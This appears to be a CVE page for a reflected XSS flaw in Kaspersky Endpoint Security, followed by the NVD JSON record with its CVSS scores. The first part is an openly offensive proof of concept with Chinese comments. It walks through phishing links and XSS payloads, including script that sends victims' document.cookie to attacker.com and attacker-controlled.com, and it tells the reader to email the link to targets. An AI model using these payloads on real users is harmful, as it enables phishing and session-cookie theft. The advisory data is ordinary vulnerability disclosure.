CVE-2025-64984

<!-- CVE-2025-2025-64984 Reflected XSS PoC --> <!-- 构造恶意钓鱼链接，诱导用户点击 --> <!-- 示例1：基本反射型XSS测试 --> <!-- https://[target]/[path]?param=<script>alert(document.domain)</script> --> <!-- 示例2：绕过简单过滤的XSS payload --> <!-- https://[target]/[path]?param=<img src=x onerror=alert(document.cookie)> --> <!-- 示例3：钓鱼攻击场景的社工链接 --> <!-- 攻击者发送邮件，声称需要用户确认安全设置 --> <!-- 链接指向: https://[target]/klp-webshield?returnUrl=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> --> <!-- 完整攻击流程代码示例 --> const xssPayload = '<script>\n' + 'fetch("https://attacker-controlled.com/log?cookie=" + encodeURIComponent(document.cookie)).\n' + 'then(r => console.log("Exfiltrated"))\n' + '</script>'; const maliciousURL = `https://[KASPERSKY-PRODUCT]/endpoint_security?redirect=${encodeURIComponent(xssPayload)}`; // 攻击者通过邮件发送此链接 console.log('Send this phishing link:', maliciousURL); // 当用户点击并访问后，脚本将在其浏览器执行 // 可窃取会话Cookie并发送到攻击者服务器

{"cve": {"id": "CVE-2025-64984", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:39.420", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kaspersky has fixed a security issue in Kaspersky Endpoint Security for Linux (any version with anti-virus databases prior to 18.11.2025), Kaspersky Industrial CyberSecurity for Linux Nodes (any version with anti-virus databases prior to 18.11.2025), and Kaspersky Endpoint Security for Mac (12.0.0.325, 12.1.0.553, and 12.2.0.694 with anti-virus databases prior to 18.11.2025) that could have allowed a reflected XSS attack to be carried out by an attacker using phishing techniques."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://support.kaspersky.com/vulnerability/list-of-advisories/12430#181125", "source": "[email protected]"}]}}